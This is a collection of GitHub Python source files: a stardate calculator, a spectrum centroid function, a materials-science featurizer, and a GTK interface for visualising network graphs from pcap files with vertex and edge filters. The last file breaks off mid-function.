+{"seq_id":"25631113860","text":"#!/usr/bin/env python3\n\nimport datetime\nfrom year import year\n\njetzt = datetime.datetime.now()\njahr = jetzt.year\nmonat = jetzt.month\ntag = jetzt.day\nstunde = jetzt.hour\nminute = jetzt.minute\nsekunde = jetzt.second\n\n# year 2063 is the year the humans invented the warp engine in star track \nprint(1000.0 * (jahr + 1 / year.length_of_year(jahr) *  year.minuts_in_the_year(jahr,monat,tag, stunde, minute)) - 2063)\n","repo_name":"afeldman/sternzeit","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33627262598","text":"import numpy as np\nfrom hyperspy.axes import FunctionalDataAxis\nfrom scipy.ndimage import center_of_mass\nfrom scipy.interpolate import interp1d\n\n\ndef com(spectrum_intensities, signal_axis, **kwargs):\n    \"\"\"Finds the centroid (center of mass) of a peak in the spectrum based\n    from the intensity at each pixel value and its respective signal axis.\n\n    Parameters\n    ----------\n    spectrum_intensities : array\n        An array with the intensities of the spectrum.\n    signal_axis: hyperspy.axes.BaseDataAxis subclass\n        A HyperSpy signal axis class containing an array with the wavelength/\n        energy for each intensity/signal value.\n    kwargs : dictionary\n        For the scipy.interpolate.interp1d function.\n\n    Returns\n    -------\n    center_of_mass : float\n        The centroid of the spectrum.\n\n    Examples\n    --------\n    # Assume we have a spectrum with wavelengths and intensities\n    >>> wavelengths = [200, 300, 400, 500, 600, 700]\n    >>> intensities = [1, 2, 3, 2, 1, 0]\n    >>> from hyperspy.axes import DataAxis\n    >>> signal_axis = DataAxis(axis=wavelengths)\n\n    >>> center_of_mass = com(intensities, signal_axis)\n    >>> print(center_of_mass)  # Outputs: [400.0]\n    \"\"\"\n\n    def _interpolate_signal(axis_array, index, **kwargs):\n        \"\"\"\n        Wrapper for `hs.axes.index2value` that linearly interpolates between\n        values should the index passed not be a integer. Using the kwargs, the\n        interpolation method can be changed.\n        \"\"\"\n        rem = index % 1\n        index = int(index // 1)\n        if rem == 0:\n            return axis_array[int(index)]\n        else:\n            y = [axis_array[index], axis_array[index + 1]]\n            x = [0, 1]\n            fx = interp1d(x, y, **kwargs)\n            return float(fx(rem))\n\n    # Find center of mass wrt array index\n    index_com = float(center_of_mass(spectrum_intensities)[0])\n\n    # Check for the type of hyperspy.axis\n    if type(signal_axis) == FunctionalDataAxis:\n        # Calculate value y from x[index_com]\n        x = _interpolate_signal(signal_axis.x.axis, index_com)\n        kwargs = {}\n        for kwarg in signal_axis.parameters_list:\n            kwargs[kwarg] = getattr(signal_axis, kwarg)\n        com_val = signal_axis._function(x, **kwargs)\n\n    elif hasattr(signal_axis, \"axis\"):\n        # Calculate value interpolating between index_com 0 and 1\n        com_val = _interpolate_signal(signal_axis.axis, index_com)\n    elif type(signal_axis) in (list, np.ndarray, tuple):\n        # Check for dimensionality\n        if len(spectrum_intensities) != len(signal_axis):\n            raise ValueError(\n                f\"The length of the spectrum array {len(spectrum_intensities)} must match \"\n                \"the length of the wavelength array {len(signal_axis)}.\"\n            )\n        # Calculate value interpolating between index_com 0 and 1\n        com_val = _interpolate_signal(np.array(signal_axis), index_com)\n    else:\n        raise ValueError(\"The parmeter `signal_axis` must be a HyperSpy Axis object.\")\n\n    return com_val\n","repo_name":"LumiSpy/lumispy","sub_path":"lumispy/utils/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":3054,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"21"}
+{"seq_id":"29298971984","text":"#### Standard Libraries ####\nimport typing\n\n#### Third-party Libraries ####\nimport pandas\nimport numpy\nfrom matminer.featurizers import composition as cf\nfrom matminer.featurizers.conversions import CompositionToOxidComposition\nfrom matminer.featurizers.composition import OxidationStates\nfrom matminer.featurizers.base import MultipleFeaturizer\n\n\nclass Featurizer():\n    \"\"\"[Encapsulates featurization opperations]\n    ...\n\n    Attributes\n    ----------\n    feature_set {[str]} -- [A list of acccepted key-words (standard,\n    cmpd_energy, electronegativity, energy_a. energy_b) to set which\n    MatMiner compositional features to use] (default: {['standard']})\n\n    mp_api_key {str} -- [Your materials project API key] (default: {None})\n\n    Methods\n    -------\n    featurize(data) -- [Apply the compositional featurizers to data]\n    \"\"\"\n\n    def __init__(self, feature_set: ['str'] = ['standard'],\n                 mp_api_key: str = None):\n        \"\"\"\n        Keyword Arguments:\n            feature_set {[str]} -- [A list of acccepted key-words (standard,\n            cmpd_energy, electronegativity, energy_a. energy_b) to set which\n            MatMiner compositional features to use] (default: {['standard']})\n            mp_api_key {str} -- [Your materials project API key] (default: {None})\n        \"\"\"\n\n        self.feature_set = feature_set\n        self.mp_api_key = mp_api_key\n        self.featurizers = {'standard': [cf.Stoichiometry(),\n                                         cf.ElementProperty.from_preset(\n                                             \"magpie\"),\n                                         cf.ValenceOrbital(props=['avg']),\n                                         cf.IonProperty(fast=True)],\n                            'cmpd_energy': [cf.CohesiveEnergy(mapi_key=self.mp_api_key)],\n                            'electronegativity': [cf.OxidationStates(),\n                                                  cf.ElectronegativityDiff()],\n                            'energy_a': [],\n                            'energy_b': []}\n\n    def featurize(self, data: pandas.DataFrame) -> numpy.array:\n        \"\"\"[Apply the compositional featurizers to data]\n\n        Arguments:\n            data {pandas.DataFrame} -- [A dataframe with pymatgen Composition\n            objects under the column 'composition']\n\n        Returns:\n            numpy.array -- [Featurized data]\n        \"\"\"\n        impute = False\n        if 'electronegtivity' in self.feature_set:\n            data = CompositionToOxidComposition(return_original_on_error=True,\n                                                overwrite_data=True).\\\n                featurize_dataframe(data,\n                                    'composition',\n                                    ignore_errors=True)\n\n        if any(c in self.feature_set for c in ('cmpd_energy', 'energy_a',\n                                               'energy_b', 'electronegativity')):\n            impute = True\n\n        features = []\n        for feature in self.feature_set:\n            features.extend(self.featurizers.get(feature))\n\n        f = MultipleFeaturizer(features)\n        X = numpy.array(f.featurize_many(\n            data['composition'], ignore_errors=True))\n\n        if 'energy_a' in self.feature_set:\n            f = MultipleFeaturizer(\n                [cf.CohesiveEnergy(mapi_key=self.mp_api_key)])\n            A = numpy.array(f.featurize_many(\n                data['formulaA'], ignore_errors=True))\n            X = numpy.concatenate((X, A), axis=1)\n\n        if 'energy_b' in self.feature_set:\n            f = MultipleFeaturizer(\n                [cf.CohesiveEnergy(mapi_key=self.mp_api_key)])\n            B = numpy.array(f.featurize_many(\n                data['formulaB'], ignore_errors=True))\n            X = numpy.concatenate((X, B), axis=1)\n\n        if impute:\n            return numpy.nan_to_num(X)\n        else:\n            return X\n","repo_name":"matSciMalcolm/material-predictions","sub_path":"utils/featurizer.py","file_name":"featurizer.py","file_ext":"py","file_size_in_byte":3896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2386173053","text":"import sys\nimport create_graph\nfrom graph_tool.all import *\nimport gi\ngi.require_version(\"Gtk\", \"3.0\")\nfrom gi.repository import Gtk\nimport numpy as np\n\n# Documentation: https://graph-tool.skewed.de/static/doc/index.html\n\nclass Dialog(Gtk.Dialog):\n\n    def __init__(self, message, window=None):\n        Gtk.Dialog.__init__(self, \"My Dialog\", window, 0,\n            (Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL,\n             Gtk.STOCK_OK, Gtk.ResponseType.OK))\n\n        self.set_default_size(150, 100)\n\n        label = Gtk.Label(message)\n\n        box = self.get_content_area()\n        box.add(label)\n        self.show_all()\n\n\nclass File_Chooser(Gtk.Box):\n\n    def __init__(self, GUI, window, grid, graph, left, top, width, height):\n        Gtk.Box.__init__(self, spacing=6)\n        self.GUI = GUI\n        self.window = window\n        self.grid = grid\n        self.old_graph = graph\n        self.left = left\n        self.top = top\n        self.width = width\n        self.height = height\n\n        button1 = Gtk.Button(\"Load PCap File\")\n        button1.connect(\"clicked\", self.on_file_clicked, \"pcap\")\n        self.add(button1)\n\n        button2 = Gtk.Button(\"Load Graph File\")\n        button2.connect(\"clicked\", self.on_file_clicked, \"graph\")\n        self.add(button2)\n\n    def add_filters(self, dialog, name):\n        if (name == \"pcap\"):\n            filter_pcap = Gtk.FileFilter()\n            filter_pcap.set_name(\"PCap files\")\n            filter_pcap.add_mime_type(\"application/vnd.tcpdump.pcap\") # .pcap\n            dialog.add_filter(filter_pcap)\n\n        elif (name == \"graph\"):\n            filter_graph = Gtk.FileFilter()\n            filter_graph.set_name(\"Graph files\")\n            # The commmented out filters do not work\n            # filter_graph.add_mime_type(\"application/octet-stream\") # .gt\n            # filter_graph.add_mime_type(\"application/x-dot\") # .dot\n            filter_graph.add_mime_type(\"application/xml\") # .xml/.graphml\n            filter_graph.add_mime_type(\"application/gml\") # .gml\n            dialog.add_filter(filter_graph)\n\n        filter_any = Gtk.FileFilter()\n        filter_any.set_name(\"Any files\")\n        filter_any.add_pattern(\"*\")\n        dialog.add_filter(filter_any)\n\n    def on_file_clicked(self, widget, name):\n        instruction = \"Please choose a %s file\" % (name)\n        dialog = Gtk.FileChooserDialog(\"Please choose a file\", self.window, \\\n            Gtk.FileChooserAction.OPEN, (Gtk.STOCK_CANCEL, \\\n            Gtk.ResponseType.CANCEL, Gtk.STOCK_OPEN, Gtk.ResponseType.OK))\n\n        self.add_filters(dialog, name)\n\n        response = dialog.run()\n        if response == Gtk.ResponseType.OK:\n            # NOTE: Maybe remove the print statements later\n            print(\"Open clicked\")\n            print(\"File selected: \" + dialog.get_filename())\n            filename = dialog.get_filename()\n            dialog.destroy()\n            if (name == \"pcap\"):\n                g = self.handle_pcap_file_upload(filename)\n\n            else: #if (name == \"graph\"):\n                g = self.handle_graph_file_upload(filename)\n\n            self.GUI.restart_window(g)\n\n        elif response == Gtk.ResponseType.CANCEL:\n            print(\"Cancel clicked\")\n            dialog.destroy()\n\n    def handle_pcap_file_upload(self, filename):\n        file_ending = filename.split(\".\")[-1]\n        if file_ending != \"pcap\":\n            dialog = Dialog(\"File uploaded was not a PCap file.\", self.window)\n            response = dialog.run()\n            dialog.destroy()\n            return\n        dialog = Dialog(\"PCap file uploaded. Click OK to generate its graph\", \\\n            self.window)\n        # ADD EXTRA OPTION TO SAVE THE GRAPH\n        # The button text can be either a stock ID such as gtk.STOCK_OK, \n        # or some arbitrary text. A response ID can be any positive number,\n        # or one of the pre-defined GTK Response Type Constants.\n        g = Graph()\n        response = dialog.run()\n        if response == Gtk.ResponseType.OK:\n            dialog.destroy()\n            try:\n                g = create_graph.make_graph(filename, save_graph=False)\n                graph = GraphWidget(g, edge_pen_width = 1.2, vertex_size=10, \\\n                    vertex_fill_color = 'r', pos=sfdp_layout(g), \\\n                    multilevel=False, display_props=[g.vp.ip_address], update_layout=False)\n                graph.set_size_request(self.old_graph.get_size_request()[0], \\\n                    self.old_graph.get_size_request()[1])\n                self.old_graph.destroy()\n                self.grid.attach(graph, self.left, self.top, self.width, self.height)\n                graph.show()\n            except:\n                error_dialog = Dialog(\"Invalid PCap file uploaded.\")\n                response = error_dialog.run()\n                error_dialog.destroy()\n        else:\n            dialog.destroy()\n        return g\n\n    def handle_graph_file_upload(self, filename):\n        dialog = Dialog(\"Graph file uploaded. Click OK to load the graph\")\n        g = Graph()\n        response = dialog.run()\n        if response == Gtk.ResponseType.OK:\n            dialog.destroy()\n            try:\n                g = load_graph(filename)\n                graph = GraphWidget(g, edge_pen_width = 1.2, vertex_size=10, \\\n                    vertex_fill_color = 'r', pos=sfdp_layout(g), \\\n                    multilevel=False, display_props=[g.vp.ip_address], update_layout=False)\n                graph.set_size_request(self.old_graph.get_size_request()[0], \\\n                    self.old_graph.get_size_request()[1])\n                self.old_graph.destroy()\n                self.grid.attach(graph, self.left, self.top, self.width, self.height)\n                graph.show()\n            except:\n                error_dialog = Dialog(\"Invalid graph file uploaded.\")\n                response = error_dialog.run()\n                error_dialog.destroy()\n        else:\n            dialog.destroy()\n        return g\n\n\nclass GraphStatisticsDialog(Gtk.Dialog):\n\n    def __init__(self, GUI, g, message):\n        Gtk.Dialog.__init__(self, message, None, 0,\n            (Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL,\n             Gtk.STOCK_OK, Gtk.ResponseType.OK))\n\n        self.set_default_size(150, 100)\n\n        label = Gtk.Label(message)\n\n        box = self.get_content_area()\n        box.add(label)\n        box.add(GraphStatisticsBox(g, GUI))\n\n        self.show_all()\n\nclass GraphStatisticsBox(Gtk.Box):\n\n    def __init__(self, g, GUI):\n        Gtk.Box.__init__(self)\n        self.liststore = Gtk.ListStore(str, str)\n        try:\n            self.liststore.append([\"Number of nodes\", str(g.num_vertices())])\n        except:\n            self.liststore.append([\"Number of nodes\", \"N/A\"])\n        try:\n            self.liststore.append([\"Number of edges\", str(g.num_edges())])\n        except:\n            self.liststore.append([\"Number of edges\", \"N/A\"])\n        try:\n            self.liststore.append([\"Time Range (s)\", \\\n                \"%d\" %(GUI.time_end - GUI.time_start)])\n        except:\n            self.liststore.append([\"Time Range (s)\", \"N/A\"])\n        # Calculating and not saving it is inefficient but this will work for now...\n        try:\n            v_betweenness = betweenness(g)[0]\n            g_central_point_dominance = central_point_dominance(g, v_betweenness)\n            self.liststore.append([\"Central Point of Dominance\", str(g_central_point_dominance)])\n        except:\n            self.liststore.append([\"Central Point of Dominance\", \"N/A\"])\n        try:\n            g_adjacency_eigenvalue = eigenvector(g)[0]\n            self.liststore.append([\"Adjacency Eigenvalue\", str(g_adjacency_eigenvalue)])\n        except:\n            self.liststore.append([\"Adjacency Eigenvalue\", \"N/A\"])\n        try:\n            g_cocitation_eigenvalue = hits(g)[0]\n            self.liststore.append([\"Cocitation Eigenvalue\", str(g_cocitation_eigenvalue)])\n        except:\n            self.liststore.append([\"Cocitation Eigenvalue\", \"N/A\"])\n\n        treeview = Gtk.TreeView(model=self.liststore)\n\n        stat_name = Gtk.CellRendererText()\n        column_text = Gtk.TreeViewColumn(\"Statistic\", stat_name, text=0)\n        treeview.append_column(column_text)\n\n        stat_value = Gtk.CellRendererText()\n\n        column_text = Gtk.TreeViewColumn(\"Value\", stat_value, text=1)\n        treeview.append_column(column_text)\n\n        self.add(treeview)\n\nclass GraphStatisticsButton(Gtk.Box):\n\n    def __init__(self, GUI, g):\n        Gtk.Box.__init__(self)\n        self.set_border_width(0)\n        self.message = \"Graph Statistics\"\n        self.GUI = GUI\n        self.g = g\n\n        button = Gtk.Button.new_with_label(self.message)\n        button.connect(\"clicked\", self.on_click)\n        self.pack_start(button, True, True, 0)\n\n    def on_click(self, widget):\n        dialog = GraphStatisticsDialog(self.GUI, self.g, self.message)\n        response = dialog.run()\n        dialog.destroy()\n\n\nclass TimeDialog(Gtk.Dialog):\n\n    def __init__(self):\n        Gtk.Dialog.__init__(self, \"My Dialog\", None, 0,\n            (Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL,\n             Gtk.STOCK_OK, Gtk.ResponseType.OK))\n\n        self.set_default_size(150, 100)\n\n        time_grid = Gtk.Grid()\n        self.time_struct = TimeDialogBox()\n        time_label_1 = Gtk.Label(\"Interval Length (s)\")\n        time_label_2 = Gtk.Label(\"Step Length (s)\")\n        time_grid.attach(self.time_struct, 0, 0, 2, 1)\n        time_grid.attach_next_to(time_label_1, self.time_struct, Gtk.PositionType.BOTTOM, 1, 1)\n        time_grid.attach_next_to(time_label_2, time_label_1, Gtk.PositionType.RIGHT, 1, 1)\n\n        box = self.get_content_area()\n        box.add(time_grid)\n        self.show_all()\n\nclass TimeDialogBox(Gtk.Box):\n\n    def __init__(self):\n        Gtk.Box.__init__(self, spacing=20)\n        self.set_border_width(10)\n\n        # (value, lower, upper, step_increment, page_increment, page_size)\n        interval_adjustment = Gtk.Adjustment(300, 10, 1500, 25, 100, 0)\n        self.interval_spinbutton = Gtk.SpinButton()\n        self.interval_spinbutton.set_adjustment(interval_adjustment)\n        self.add(self.interval_spinbutton)\n\n        step_length_adjustment = Gtk.Adjustment(150, 5, 1000, 25, 100, 0)\n        self.steps_spinbutton = Gtk.SpinButton()\n        self.steps_spinbutton.set_adjustment(step_length_adjustment)\n        self.add(self.steps_spinbutton)\n\n        self.interval_spinbutton.set_numeric(True)\n        self.interval_spinbutton.set_update_policy(True)\n        self.steps_spinbutton.set_numeric(True)\n        self.steps_spinbutton.set_update_policy(True)\n\n    def verify_time_steps(self, interval_length, step_length):\n        if interval_length >= step_length:\n            return True\n        dialog = Dialog(\"Your interval length must be more than your step length\" \\\n            \" to cover the entire time range\")\n        response = dialog.run()\n        dialog.destroy()\n        return False\n\n    def get_interval_step_length(self):\n        interval_length = self.interval_spinbutton.get_value_as_int()\n        step_length = self.steps_spinbutton.get_value_as_int()\n        if self.verify_time_steps(interval_length, step_length) == False:\n            return (300,150)\n        return (interval_length, step_length)\n\nclass TimeSelectButton(Gtk.Box):\n\n    def __init__(self, GUI, g, message):\n        Gtk.Box.__init__(self)\n        self.set_border_width(10)\n        self.GUI = GUI\n        self.g = g\n\n        button = Gtk.Button.new_with_label(message)\n        button.connect(\"clicked\", self.on_click)\n        self.pack_start(button, True, True, 0)\n\n    def on_click(self, widget):\n        dialog = TimeDialog()\n        response = dialog.run()\n        interval_length, step_length = dialog.time_struct.get_interval_step_length()\n        if response == Gtk.ResponseType.OK:\n            self.GUI.initialize_time_steps(interval_length, step_length)\n        dialog.destroy()\n\nclass TimeStepButton(Gtk.Box):\n    def __init__(self, GUI, message):\n        Gtk.Box.__init__(self)\n        self.set_border_width(10)\n        self.GUI = GUI\n\n        button = Gtk.Button.new_with_label(message)\n        button.connect(\"clicked\", self.on_click)\n        self.pack_start(button, True, True, 0)\n\n    def on_click(self, widget):\n        self.GUI.do_time_step()\n\nclass TimeRangeLabel(Gtk.Box):\n\n    def __init__(self, GUI, time_start, time_end, latest_timestamp):\n        Gtk.Box.__init__(self, spacing=6)\n        self.GUI = GUI\n        self.time_start = time_start\n        self.time_end = time_end\n        self.latest_timestamp = latest_timestamp\n\n        label = Gtk.Label(\"Time Range: \" + \\\n            str(100 * float(self.time_start)/self.latest_timestamp) \\\n            + \"% - \" + str(100 * float(self.time_end)/self.latest_timestamp) + \"%\")\n        self.add(label)\n\n\nclass VertexFilterBox(Gtk.Box):\n\n    def __init__(self, GUI, g):\n        Gtk.Box.__init__(self)\n\n        self.GUI = GUI\n        self.g = g\n\n        self.liststore = Gtk.ListStore(str, int, int)\n        self.filters = [\"Out-degree\", \"In-degree\", \"# of neighbors\", \\\n            \"Page Rank\", \"Betweenness\", \"Closeness\", \"Eigenvector\", \\\n            \"Authority centrality\", \"Hub centrality\"]\n        # can also have in-neighbors or out-neighbors\n        for filter_name in self.filters:\n            self.liststore.append([filter_name, 0, 100])\n\n            self.GUI.vertex_filters[filter_name + \"_low\"] = \\\n                self.g.new_vertex_property(\"bool\")\n            self.GUI.vertex_filters[filter_name + \"_low\"].a = \\\n                np.array([True] * g.num_vertices())\n            self.GUI.vertex_filters[filter_name + \"_high\"] = \\\n                self.g.new_vertex_property(\"bool\")\n            self.GUI.vertex_filters[filter_name + \"_high\"].a = \\\n                np.array([True] * g.num_vertices())\n\n        treeview = Gtk.TreeView(model=self.liststore)\n\n        filter_name = Gtk.CellRendererText()\n        column_text = Gtk.TreeViewColumn(\"Vertex Filters\", filter_name, text=0)\n        treeview.append_column(column_text)\n\n        self.filter_low = Gtk.CellRendererSpin()\n        self.filter_low.connect(\"edited\", self.low_on_amount_edited)\n        self.filter_low.set_property(\"editable\", True)\n\n        self.filter_high = Gtk.CellRendererSpin()\n        self.filter_high.connect(\"edited\", self.high_on_amount_edited)\n        self.filter_high.set_property(\"editable\", True)\n\n        low_adjustment = Gtk.Adjustment(0, 0, 99, 1, 10, 0)\n        self.filter_low.set_property(\"adjustment\", low_adjustment)\n\n        high_adjustment = Gtk.Adjustment(100, 1, 100, 1, 10, 0)\n        self.filter_high.set_property(\"adjustment\", high_adjustment)\n\n        low_spin = Gtk.TreeViewColumn(\"Lower bound (%)\", self.filter_low, text=1)\n        high_spin = Gtk.TreeViewColumn(\"Upper bound (%)\", self.filter_high, text=2)\n        treeview.append_column(low_spin)\n        treeview.append_column(high_spin)\n\n        self.add(treeview)\n\n    # I'm sure a lot of this code is repetitive and can be cleaned up. Some of\n    # it may also be somewhat inefficient, but again, it works (except for the\n    # occasional segmentation fault, which happens when I think I apply filters\n    # in rapid succession and perhaps overload the program)\n    def low_on_amount_edited(self, widget, path, value):\n        value = int(value)\n        if (value >= self.filter_high.get_property(\"adjustment\").get_value()):\n            return\n        name = self.liststore[path][0]\n        self.liststore[path][1] = value\n\n        self.g.set_vertex_filter(None)\n\n        if name == \"Out-degree\":\n            for v in self.g.vertices():\n                max_out_degree = max(self.g.get_out_degrees(range(self.g.num_vertices())))\n                self.GUI.vertex_filters[name + \"_low\"][v] = (v.out_degree() \\\n                    >= max(self.g.get_out_degrees(range(self.g.num_vertices()))) \\\n                    * float(value)/100)\n        elif name == \"In-degree\":\n            for v in self.g.vertices():\n                max_in_degree = max(self.g.get_in_degrees(range(self.g.num_vertices())))\n                self.GUI.vertex_filters[name + \"_low\"][v] = (v.in_degree() \\\n                    >= max(self.g.get_in_degrees(range(self.g.num_vertices()))) \\\n                    * float(value)/100)\n        elif name == \"# of neighbors\":\n            max_neighbors = 0\n            # not efficient but it works\n            for v in self.g.vertices():\n                max_neighbors = max(max_neighbors, len(self.g.get_in_neighbours(int(v))) \\\n                    + len(self.g.get_out_neighbours(int(v))))\n            for v in self.g.vertices():\n                num_neighbors = len(self.g.get_in_neighbours(int(v))) + \\\n                    len(self.g.get_out_neighbours(int(v)))\n                self.GUI.vertex_filters[name + \"_low\"][v] \\\n                    = (num_neighbors >= max_neighbors * float(value)/100)\n\n        elif name == \"Page Rank\":\n            pr = pagerank(self.g)\n            max_pagerank = max(pr.get_array())\n            for v in self.g.vertices():\n                self.GUI.vertex_filters[name + \"_low\"][v] \\\n                    = (pr[v] >= max_pagerank * float(value)/100)\n\n        elif name == \"Betweenness\":\n            vp = betweenness(self.g)[0]\n            max_betweenness = max(vp.get_array())\n            for v in self.g.vertices():\n                self.GUI.vertex_filters[name + \"_low\"][v] \\\n                    = (vp[v] >= max_betweenness * float(value)/100)\n\n        elif name == \"Closeness\":\n            c = closeness(self.g)\n            max_closeness = max(c.get_array())\n            for v in self.g.vertices():\n                self.GUI.vertex_filters[name + \"_low\"][v] \\\n                    = (c[v] >= max_closeness * float(value)/100)\n\n        elif name == \"Eigenvector\":\n            x = eigenvector(self.g)[1]\n            max_eigenvector = max(x.get_array())\n            for v in self.g.vertices():\n                self.GUI.vertex_filters[name + \"_low\"][v] \\\n                    = (x[v] >= max_eigenvector * float(value)/100)\n\n        elif name == \"Authority centrality\":\n            auth = hits(self.g)[1]\n            max_authority = max(auth.get_array())\n            for v in self.g.vertices():\n                self.GUI.vertex_filters[name + \"_low\"][v] \\\n                    = (auth[v] >= max_authority * float(value)/100)\n\n        elif name == \"Hub centrality\":\n            hub = hits(self.g)[2]\n            max_hub = max(hub.get_array())\n            for v in self.g.vertices():\n                self.GUI.vertex_filters[name + \"_low\"][v] \\\n                    = (hub[v] >= max_hub * float(value)/100)\n\n        self.GUI.set_overall_filter()\n\n    # Almost exactly the same as the above function except switching >= to <=\n    # and replacing \"_low\" with \"_high\"\n    def high_on_amount_edited(self, widget, path, value):\n        value = int(value)\n        if (value <= self.filter_low.get_property(\"adjustment\").get_value()):\n            return\n        name = self.liststore[path][0]\n        self.liststore[path][2] = value\n\n        self.g.set_vertex_filter(None)\n\n        if name == \"Out-degree\":\n            for v in self.g.vertices():\n                max_out_degree = max(self.g.get_out_degrees(range(self.g.num_vertices())))\n                self.GUI.vertex_filters[name + \"_high\"][v] = (v.out_degree() \\\n                    <= max(self.g.get_out_degrees(range(self.g.num_vertices()))) \\\n                    * float(value)/100)\n        elif name == \"In-degree\":\n            for v in self.g.vertices():\n                max_in_degree = max(self.g.get_in_degrees(range(self.g.num_vertices())))\n                self.GUI.vertex_filters[name + \"_high\"][v] = (v.in_degree() \\\n                    <= max(self.g.get_in_degrees(range(self.g.num_vertices()))) \\\n                    * float(value)/100)\n        elif name == \"# of neighbors\":\n            max_neighbors = 0\n            # not efficient but it works\n            for v in self.g.vertices():\n                max_neighbors = max(max_neighbors, len(self.g.get_in_neighbours(int(v))) \\\n                    + len(self.g.get_out_neighbours(int(v))))\n            for v in self.g.vertices():\n                num_neighbors = len(self.g.get_in_neighbours(int(v))) + \\\n                    len(self.g.get_out_neighbours(int(v)))\n                self.GUI.vertex_filters[name + \"_high\"][v] \\\n                    = (num_neighbors <= max_neighbors * float(value)/100)\n\n        elif name == \"Page Rank\":\n            pr = pagerank(self.g)\n            max_pagerank = max(pr.get_array())\n            for v in self.g.vertices():\n                self.GUI.vertex_filters[name + \"_high\"][v] \\\n                    = (pr[v] <= max_pagerank * float(value)/100)\n\n        elif name == \"Betweenness\":\n            vp = betweenness(self.g)[0]\n            max_betweenness = max(vp.get_array())\n            for v in self.g.vertices():\n                self.GUI.vertex_filters[name + \"_high\"][v] \\\n                    = (vp[v] <= max_betweenness * float(value)/100)\n\n        elif name == \"Closeness\":\n            c = closeness(self.g)\n            max_closeness = max(c.get_array())\n            for v in self.g.vertices():\n                self.GUI.vertex_filters[name + \"_high\"][v] \\\n                    = (c[v] <= max_closeness * float(value)/100)\n\n        elif name == \"Eigenvector\":\n            x = eigenvector(self.g)[1]\n            max_eigenvector = max(x.get_array())\n            for v in self.g.vertices():\n                self.GUI.vertex_filters[name + \"_high\"][v] \\\n                    = (x[v] <= max_eigenvector * float(value)/100)\n\n        elif name == \"Authority centrality\":\n            auth = hits(self.g)[1]\n            max_authority = max(auth.get_array())\n            for v in self.g.vertices():\n                self.GUI.vertex_filters[name + \"_high\"][v] \\\n                    = (auth[v] <= max_authority * float(value)/100)\n\n        elif name == \"Hub centrality\":\n            hub = hits(self.g)[2]\n            max_hub = max(hub.get_array())\n            for v in self.g.vertices():\n                self.GUI.vertex_filters[name + \"_high\"][v] \\\n                    = (hub[v] <= max_hub * float(value)/100)\n\n        self.GUI.set_overall_filter()\n\n    # Resets filter low and high percentages to 0 and 100, respectively\n    def reset_filters(self):\n        for i in range(len(self.filters)):\n            self.liststore.set_value(self.liststore.get_iter(i), 1, 0)\n            self.liststore.set_value(self.liststore.get_iter(i), 2, 100)\n\nclass EdgeFilterBox(Gtk.Box):\n\n    def __init__(self, GUI, g):\n        Gtk.Box.__init__(self)\n\n        self.GUI = GUI\n        self.g = g\n\n        self.liststore = Gtk.ListStore(str, int, int)\n        self.filters = [\"# of bytes\", \"Betweenness\"]\n        for filter_name in self.filters:\n            self.liststore.append([filter_name, 0, 100])\n            self.GUI.edge_filters[filter_name + \"_low\"] = \\\n                self.g.new_edge_property(\"bool\")\n            self.GUI.edge_filters[filter_name + \"_low\"].a = \\\n                np.array([True] * g.num_edges())\n            self.GUI.edge_filters[filter_name + \"_high\"] = \\\n                self.g.new_edge_property(\"bool\")\n            self.GUI.edge_filters[filter_name + \"_high\"].a = \\\n                np.array([True] * g.num_edges())\n\n        treeview = Gtk.TreeView(model=self.liststore)\n\n        filter_name = Gtk.CellRendererText()\n        column_text = Gtk.TreeViewColumn(\"Edge Filters\", filter_name, text=0)\n        treeview.append_column(column_text)\n\n        self.filter_low = Gtk.CellRendererSpin()\n        self.filter_low.connect(\"edited\", self.low_on_amount_edited)\n        self.filter_low.set_property(\"editable\", True)\n\n        self.filter_high = Gtk.CellRendererSpin()\n        self.filter_high.connect(\"edited\", self.high_on_amount_edited)\n        self.filter_high.set_property(\"editable\", True)\n\n        low_adjustment = Gtk.Adjustment(0, 0, 99, 1, 10, 0)\n        self.filter_low.set_property(\"adjustment\", low_adjustment)\n\n        high_adjustment = Gtk.Adjustment(100, 1, 100, 1, 10, 0)\n        self.filter_high.set_property(\"adjustment\", high_adjustment)\n\n        low_spin = Gtk.TreeViewColumn(\"Lower bound (%)\", self.filter_low, text=1)\n        high_spin = Gtk.TreeViewColumn(\"Upper bound (%)\", self.filter_high, text=2)\n        treeview.append_column(low_spin)\n        treeview.append_column(high_spin)\n\n        self.add(treeview)\n\n    def low_on_amount_edited(self, widget, path, value):\n        value = int(value)\n        if (value >= self.filter_high.get_property(\"adjustment\").get_value()):\n            return\n        name = self.liststore[path][0]\n        self.liststore[path][1] = value\n\n        self.g.set_edge_filter(None)\n\n        if name == \"# of bytes\":\n            max_number_bytes = max(self.g.ep.num_bytes.get_array())\n            for e in self.g.edges():\n                self.GUI.edge_filters[name + \"_low\"][e] \\\n                    = (self.g.ep.num_bytes[e] >= max_number_bytes * float(value)/100)\n        elif name == \"Betweenness\":\n            ep = betweenness(self.g)[1]\n            max_betweenness = max(ep.get_array())\n            for e in self.g.edges():\n                self.GUI.edge_filters[name + \"_low\"][e] \\\n                    = (ep[e] >= max_betweenness * float(value)/100)\n\n        self.GUI.set_overall_filter()\n\n    def high_on_amount_edited(self, widget, path, value):\n        value = int(value)\n        if (value <= self.filter_low.get_property(\"adjustment\").get_value()):\n            return\n        name = self.liststore[path][0]\n        self.liststore[path][2] = value\n\n        self.g.set_edge_filter(None)\n\n        if name == \"# of bytes\":\n            max_number_bytes = max(self.g.ep.num_bytes.get_array())\n            for e in self.g.edges():\n                self.GUI.edge_filters[name + \"_high\"][e] \\\n                    = (self.g.ep.num_bytes[e] <= max_number_bytes * float(value)/100)\n        elif name == \"Betweenness\":\n            ep = betweenness(self.g)[1]\n            max_betweenness = max(ep.get_array())\n            for e in self.g.edges():\n                self.GUI.edge_filters[name + \"_high\"][e] \\\n                    = (ep[e] <= max_betweenness * float(value)/100)\n        \n        self.GUI.set_overall_filter()\n\n    def reset_filters(self):\n        for i in range(len(self.filters)):\n            self.liststore.set_value(self.liststore.get_iter(i), 1, 0)\n            